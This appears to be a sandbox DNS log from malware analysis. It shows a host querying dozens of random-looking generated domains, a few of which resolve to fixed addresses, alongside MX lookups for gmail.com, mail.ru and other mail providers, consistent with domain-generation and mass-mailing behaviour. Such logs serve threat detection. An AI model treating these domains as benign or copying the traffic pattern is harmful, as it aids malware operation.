Oct 31, 2022 12:20:20.603826046 CET	8.8.8.8	192.168.2.5	0x200d	Name error (3)	wnhrrnhran.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:20.619468927 CET	8.8.8.8	192.168.2.5	0x6abf	No error (0)	gzip.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:20.626015902 CET	8.8.8.8	192.168.2.5	0x790b	No error (0)	alt1.aspmx.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:20.668396950 CET	8.8.8.8	192.168.2.5	0x3c75	Name error (3)	resrnrrmnn.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:20.704020023 CET	8.8.8.8	192.168.2.5	0xb8d1	Name error (3)	mannheraph.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:20.735189915 CET	8.8.8.8	192.168.2.5	0xb2c3	Name error (3)	pqnqqqrpmh.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:20.739654064 CET	8.8.8.8	192.168.2.5	0xb177	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:20.748286963 CET	8.8.8.8	192.168.2.5	0xe113	No error (0)	gzip.org		85.187.148.2	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:20.766274929 CET	8.8.8.8	192.168.2.5	0x6581	Name error (3)	smprehnwhs.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:21.811270952 CET	8.8.8.8	192.168.2.5	0xbd9f	Name error (3)	rhwnqwwnah.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:21.840506077 CET	8.8.8.8	192.168.2.5	0xd664	Name error (3)	srsersmhsa.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:21.870857000 CET	8.8.8.8	192.168.2.5	0x9af1	Name error (3)	neshnhhwss.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:21.895915031 CET	8.8.8.8	192.168.2.5	0x9088	Name error (3)	mswapwrnan.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:21.924860954 CET	8.8.8.8	192.168.2.5	0xb6a3	Name error (3)	ahsppnhrmh.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:21.953535080 CET	8.8.8.8	192.168.2.5	0x2eb5	Name error (3)	wmamewnnea.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:21.983959913 CET	8.8.8.8	192.168.2.5	0x6f12	Name error (3)	nhwwheearh.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:22.012202978 CET	8.8.8.8	192.168.2.5	0xcba3	Name error (3)	msqepwamwn.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:22.038518906 CET	8.8.8.8	192.168.2.5	0xae77	Name error (3)	pmmpmshmsr.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:22.069189072 CET	8.8.8.8	192.168.2.5	0xb40a	Name error (3)	mahwmwnrmn.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:22.224658012 CET	8.8.8.8	192.168.2.5	0x5afb	No error (0)	aaawpshran.com		192.187.111.221	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:22.312328100 CET	8.8.8.8	192.168.2.5	0xb177	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:22.529429913 CET	8.8.8.8	192.168.2.5	0x6871	Name error (3)	smmmwrsqhs.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:22.556382895 CET	8.8.8.8	192.168.2.5	0x9322	Name error (3)	pweenawwra.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:23.576241016 CET	8.8.8.8	192.168.2.5	0x7578	Name error (3)	sqepwsanpn.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:23.612473965 CET	8.8.8.8	192.168.2.5	0x33ca	Name error (3)	qseerensns.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:23.641105890 CET	8.8.8.8	192.168.2.5	0xa2c4	Name error (3)	hnhsehnhpa.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:23.670958042 CET	8.8.8.8	192.168.2.5	0x581d	Name error (3)	psswwrmraa.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:23.702410936 CET	8.8.8.8	192.168.2.5	0x1736	Name error (3)	hwhnrpesma.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:23.734560966 CET	8.8.8.8	192.168.2.5	0x91	Name error (3)	qmqspqnhwa.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:23.785126925 CET	8.8.8.8	192.168.2.5	0x881c	Name error (3)	shprahaqrh.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:23.822482109 CET	8.8.8.8	192.168.2.5	0xe179	Name error (3)	rmmamheshh.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:23.877979040 CET	8.8.8.8	192.168.2.5	0x8861	No error (0)	ennmqsmqna.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.310184002 CET	8.8.8.8	192.168.2.5	0x74b	Name error (3)	qseahwrsps.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.341872931 CET	8.8.8.8	192.168.2.5	0x19c7	No error (0)	ehrawpsrms.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.370866060 CET	8.8.8.8	192.168.2.5	0xd8a2	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.616126060 CET	8.8.8.8	192.168.2.5	0x7578	Name error (3)	sqepwsanpn.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.688600063 CET	8.8.8.8	192.168.2.5	0xdc0a	No error (0)	alumni.caltech.edu			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:24.729487896 CET	8.8.8.8	192.168.2.5	0x76dd	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.66.10	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.729487896 CET	8.8.8.8	192.168.2.5	0x76dd	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.767769098 CET	8.8.8.8	192.168.2.5	0xfbb4	Name error (3)	naspqmsmeh.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.795397043 CET	8.8.8.8	192.168.2.5	0x5ed6	Name error (3)	wwnmhhenpa.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.858247042 CET	8.8.8.8	192.168.2.5	0xb44f	Name error (3)	qmrmswrran.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.867727041 CET	8.8.8.8	192.168.2.5	0xde63	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:24.890535116 CET	8.8.8.8	192.168.2.5	0x347b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:24.890535116 CET	8.8.8.8	192.168.2.5	0x347b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:24.890535116 CET	8.8.8.8	192.168.2.5	0x347b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:24.890535116 CET	8.8.8.8	192.168.2.5	0x347b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:24.890535116 CET	8.8.8.8	192.168.2.5	0x347b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:24.891844988 CET	8.8.8.8	192.168.2.5	0x24b	Name error (3)	wqeasppnas.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.931950092 CET	8.8.8.8	192.168.2.5	0x1042	No error (0)	alt2.aspmx.l.google.com		142.250.157.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.986237049 CET	8.8.8.8	192.168.2.5	0xb3f4	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:25.060106039 CET	8.8.8.8	192.168.2.5	0xa90b	No error (0)	awhhsqness.com		192.187.111.221	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:25.114928961 CET	8.8.8.8	192.168.2.5	0x1f65	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.141.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:25.353121042 CET	8.8.8.8	192.168.2.5	0xb57	No error (0)	eqprsrnprs.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:25.804573059 CET	8.8.8.8	192.168.2.5	0xb69a	No error (0)	aaesrmawah.com		81.17.18.195	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:25.874144077 CET	8.8.8.8	192.168.2.5	0x373c	Name error (3)	wnaampsmna.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:25.907078981 CET	8.8.8.8	192.168.2.5	0xb9ec	Name error (3)	qpnphqawmh.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:25.932331085 CET	8.8.8.8	192.168.2.5	0x6cec	Name error (3)	hmqrapnpsh.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:25.960649014 CET	8.8.8.8	192.168.2.5	0x5994	Name error (3)	aqsnaasemh.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:25.994951963 CET	8.8.8.8	192.168.2.5	0x81ee	Name error (3)	haswmnsqah.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.031770945 CET	8.8.8.8	192.168.2.5	0x3551	Name error (3)	aeaqnwmhes.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.058001041 CET	8.8.8.8	192.168.2.5	0x40f1	Name error (3)	mqsnrenerh.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.085088015 CET	8.8.8.8	192.168.2.5	0xcbcc	Name error (3)	nspseanhrs.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.114320993 CET	8.8.8.8	192.168.2.5	0x66b0	Name error (3)	haaahpspqs.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.185475111 CET	8.8.8.8	192.168.2.5	0xf902	Name error (3)	qppqsasahn.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.217365026 CET	8.8.8.8	192.168.2.5	0xc1d3	Name error (3)	mnnhnhahmh.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.245270967 CET	8.8.8.8	192.168.2.5	0xd628	Name error (3)	nwrrpeshhn.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.275295019 CET	8.8.8.8	192.168.2.5	0xe741	Name error (3)	wqsrephqms.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.305730104 CET	8.8.8.8	192.168.2.5	0x9b31	Name error (3)	nprhssnrmn.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.361273050 CET	8.8.8.8	192.168.2.5	0xca3e	No error (0)	eqnhphnqms.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.818483114 CET	8.8.8.8	192.168.2.5	0xf5d7	Name error (3)	neqanhanwn.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.845474005 CET	8.8.8.8	192.168.2.5	0x95bf	Name error (3)	smrnnmaqra.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.872903109 CET	8.8.8.8	192.168.2.5	0xdf53	Name error (3)	nnnrpsanwh.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.897543907 CET	8.8.8.8	192.168.2.5	0xc254	Name error (3)	wharrewhpn.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.952364922 CET	8.8.8.8	192.168.2.5	0x83ca	Name error (3)	qhhnpesehs.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.981338978 CET	8.8.8.8	192.168.2.5	0x31de	Name error (3)	mesrphwwas.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.008774042 CET	8.8.8.8	192.168.2.5	0x24c2	Name error (3)	awmmprseha.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.036518097 CET	8.8.8.8	192.168.2.5	0x2c0	Name error (3)	weaamsqssa.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.064954042 CET	8.8.8.8	192.168.2.5	0xd41b	Name error (3)	rqeaqsqpsr.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.096303940 CET	8.8.8.8	192.168.2.5	0x4bb1	Name error (3)	wrmqnnrqmh.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.123851061 CET	8.8.8.8	192.168.2.5	0x4285	Name error (3)	npmpsewraa.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.152549028 CET	8.8.8.8	192.168.2.5	0x9be6	Name error (3)	whqrmqmnrs.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.181356907 CET	8.8.8.8	192.168.2.5	0xa584	Name error (3)	nwqsnneawh.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.208911896 CET	8.8.8.8	192.168.2.5	0x1495	Name error (3)	smwrehrsph.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.240864992 CET	8.8.8.8	192.168.2.5	0x1b51	Name error (3)	qrmhwrwwmn.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.273906946 CET	8.8.8.8	192.168.2.5	0xb044	Name error (3)	sprpmpqasn.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.304763079 CET	8.8.8.8	192.168.2.5	0x9824	Name error (3)	apmeppqwqh.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.330364943 CET	8.8.8.8	192.168.2.5	0xb37f	Name error (3)	wqpeaenphs.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.365537882 CET	8.8.8.8	192.168.2.5	0xfec6	Name error (3)	awqqrwmwsh.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.433548927 CET	8.8.8.8	192.168.2.5	0x2397	No error (0)	erphseshhh.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.882329941 CET	8.8.8.8	192.168.2.5	0xbdc6	Name error (3)	nmerqanann.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.926512957 CET	8.8.8.8	192.168.2.5	0xb87	Name error (3)	hpswpmhqah.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.981395960 CET	8.8.8.8	192.168.2.5	0x8483	Name error (3)	psqesnmpph.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.009649038 CET	8.8.8.8	192.168.2.5	0x5337	Name error (3)	hwnwwhmapa.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.038835049 CET	8.8.8.8	192.168.2.5	0x3cc5	Name error (3)	nerrawwees.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.107579947 CET	8.8.8.8	192.168.2.5	0xe270	Name error (3)	smqnsaanqs.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.136346102 CET	8.8.8.8	192.168.2.5	0x5924	Name error (3)	pehawnswha.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.165283918 CET	8.8.8.8	192.168.2.5	0x4fc4	Name error (3)	wsmsannrsr.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.196288109 CET	8.8.8.8	192.168.2.5	0xeb39	Name error (3)	pnmhpsaqwn.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.227736950 CET	8.8.8.8	192.168.2.5	0x2f56	Name error (3)	wpraeqahma.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.254343987 CET	8.8.8.8	192.168.2.5	0xea1d	Name error (3)	napenhsmha.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.284475088 CET	8.8.8.8	192.168.2.5	0xe4ca	Name error (3)	manrhhmrsn.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.320919037 CET	8.8.8.8	192.168.2.5	0x222b	Name error (3)	rqsepprwmh.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.345917940 CET	8.8.8.8	192.168.2.5	0x2c6b	Name error (3)	wnrphnsawn.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.373734951 CET	8.8.8.8	192.168.2.5	0x9bb9	Name error (3)	npeewrpmsh.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.402159929 CET	8.8.8.8	192.168.2.5	0xb9b8	Name error (3)	spmpesqama.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.530921936 CET	8.8.8.8	192.168.2.5	0xf8b7	Name error (3)	rpwrwpqmrs.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.586307049 CET	8.8.8.8	192.168.2.5	0x1a23	Name error (3)	smspppawmn.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.615354061 CET	8.8.8.8	192.168.2.5	0x7503	Name error (3)	pmrqmemawa.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.643091917 CET	8.8.8.8	192.168.2.5	0x542	No error (0)	aspmx2.googlemail.com		142.250.153.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.646786928 CET	8.8.8.8	192.168.2.5	0x8b0	Name error (3)	wmphheprha.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.693312883 CET	8.8.8.8	192.168.2.5	0x917b	Name error (3)	prmaahsmqs.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.721818924 CET	8.8.8.8	192.168.2.5	0x7358	No error (0)	emhmmwaasa.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.906975031 CET	8.8.8.8	192.168.2.5	0x55c4	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:28.906975031 CET	8.8.8.8	192.168.2.5	0x55c4	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:28.906975031 CET	8.8.8.8	192.168.2.5	0x55c4	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:28.906975031 CET	8.8.8.8	192.168.2.5	0x55c4	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:28.906975031 CET	8.8.8.8	192.168.2.5	0x55c4	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:28.931402922 CET	8.8.8.8	192.168.2.5	0x5d8a	No error (0)	alt4.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.940450907 CET	8.8.8.8	192.168.2.5	0xdf55	No error (0)	riseup.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:28.963160992 CET	8.8.8.8	192.168.2.5	0x53f9	No error (0)	mx1.riseup.net		198.252.153.129	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.094135046 CET	8.8.8.8	192.168.2.5	0x6431	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:29.094135046 CET	8.8.8.8	192.168.2.5	0x6431	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:29.094135046 CET	8.8.8.8	192.168.2.5	0x6431	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:29.094135046 CET	8.8.8.8	192.168.2.5	0x6431	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:29.094135046 CET	8.8.8.8	192.168.2.5	0x6431	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:29.104468107 CET	8.8.8.8	192.168.2.5	0x4dc6	No error (0)	alt1.aspmx.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.125184059 CET	8.8.8.8	192.168.2.5	0x5cf2	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.157.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.137989044 CET	8.8.8.8	192.168.2.5	0x71b0	Name error (3)	pehprrmnns.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.142522097 CET	8.8.8.8	192.168.2.5	0x9249	No error (0)	mail.ru			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:29.166496992 CET	8.8.8.8	192.168.2.5	0x75ca	Name error (3)	hwenrqmmmh.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.172072887 CET	8.8.8.8	192.168.2.5	0x8615	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.172072887 CET	8.8.8.8	192.168.2.5	0x8615	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.203938961 CET	8.8.8.8	192.168.2.5	0xafeb	Name error (3)	nhamrnqsps.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.231190920 CET	8.8.8.8	192.168.2.5	0x96cd	Name error (3)	wpnermpasr.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.258038044 CET	8.8.8.8	192.168.2.5	0x338a	Name error (3)	nnhssqsasr.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.283642054 CET	8.8.8.8	192.168.2.5	0x5d71	Name error (3)	mnmrweahpn.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.311266899 CET	8.8.8.8	192.168.2.5	0x68f1	Name error (3)	nhseewhaps.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.338527918 CET	8.8.8.8	192.168.2.5	0xca8a	Name error (3)	msaemqshmh.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.365730047 CET	8.8.8.8	192.168.2.5	0x21ce	Name error (3)	aewnhwwpwa.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.392653942 CET	8.8.8.8	192.168.2.5	0x4f1b	Name error (3)	snarawppsr.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.425452948 CET	8.8.8.8	192.168.2.5	0x4cf4	Name error (3)	qsaqhnrwwn.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.455766916 CET	8.8.8.8	192.168.2.5	0xb21f	Name error (3)	swqrheamea.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.487287998 CET	8.8.8.8	192.168.2.5	0xb18c	Name error (3)	aeaqppqhqs.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.535104990 CET	8.8.8.8	192.168.2.5	0x4cbe	Name error (3)	mpnssapaws.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:30.633501053 CET	8.8.8.8	192.168.2.5	0x7f27	Name error (3)	rnehrmnwqa.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:30.650727034 CET	8.8.8.8	192.168.2.5	0x7f27	Name error (3)	rnehrmnwqa.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:30.664021969 CET	8.8.8.8	192.168.2.5	0x4fe7	Name error (3)	wnnqnrwqea.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:30.705430984 CET	8.8.8.8	192.168.2.5	0x1586	Name error (3)	qnmmhnspwn.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:30.735570908 CET	8.8.8.8	192.168.2.5	0xe99e	Name error (3)	wwaqpenhnn.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:30.794639111 CET	8.8.8.8	192.168.2.5	0xb2bb	Name error (3)	rnrnqqawqs.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:30.822917938 CET	8.8.8.8	192.168.2.5	0xb774	Name error (3)	mmmphaeann.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:30.864156008 CET	8.8.8.8	192.168.2.5	0xa59c	Name error (3)	aweqaesrms.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:30.896719933 CET	8.8.8.8	192.168.2.5	0xfeef	Name error (3)	hswwqmmseh.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:31.933162928 CET	8.8.8.8	192.168.2.5	0x9bf8	Name error (3)	qhqqqnerss.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:31.941760063 CET	8.8.8.8	192.168.2.5	0x9bf8	Name error (3)	qhqqqnerss.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:31.965202093 CET	8.8.8.8	192.168.2.5	0xcc24	Name error (3)	wnnempshra.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.019478083 CET	8.8.8.8	192.168.2.5	0xe938	Name error (3)	qnhwpqaans.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.044989109 CET	8.8.8.8	192.168.2.5	0xc0a1	Name error (3)	mpmhhhprnn.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.100949049 CET	8.8.8.8	192.168.2.5	0x97c9	Name error (3)	qhwqwrpwnn.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.131016970 CET	8.8.8.8	192.168.2.5	0xc5fb	Name error (3)	mhaewrqnps.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.157188892 CET	8.8.8.8	192.168.2.5	0x7675	Name error (3)	psqeppnaha.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.189099073 CET	8.8.8.8	192.168.2.5	0x8b51	Name error (3)	maanhsqens.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.220613956 CET	8.8.8.8	192.168.2.5	0x526	Name error (3)	qsspraneas.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.259061098 CET	8.8.8.8	192.168.2.5	0x6be5	Name error (3)	msprmhpesa.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.285077095 CET	8.8.8.8	192.168.2.5	0x62b5	Name error (3)	nrmwqewpnn.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.318762064 CET	8.8.8.8	192.168.2.5	0xc87b	Name error (3)	sphpehqmsh.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.349982977 CET	8.8.8.8	192.168.2.5	0x1d57	Name error (3)	nwrrsharmn.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.385277987 CET	8.8.8.8	192.168.2.5	0x1de1	Name error (3)	wnhpqrweas.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.418260098 CET	8.8.8.8	192.168.2.5	0xd16c	Name error (3)	rmmwpwhapn.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.445801973 CET	8.8.8.8	192.168.2.5	0x4376	Name error (3)	hharwnqhha.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.532104015 CET	8.8.8.8	192.168.2.5	0xd93	Name error (3)	rrqmmwahna.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.563831091 CET	8.8.8.8	192.168.2.5	0x264f	Name error (3)	ssapaqsepa.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.618375063 CET	8.8.8.8	192.168.2.5	0xa3bf	Name error (3)	qqewasnrnr.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.648530006 CET	8.8.8.8	192.168.2.5	0xedc9	Name error (3)	mnpsepswhs.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.704210997 CET	8.8.8.8	192.168.2.5	0xc144	Name error (3)	rammaswpsh.org	none	none	A (IP address)	IN (0x0001)	false
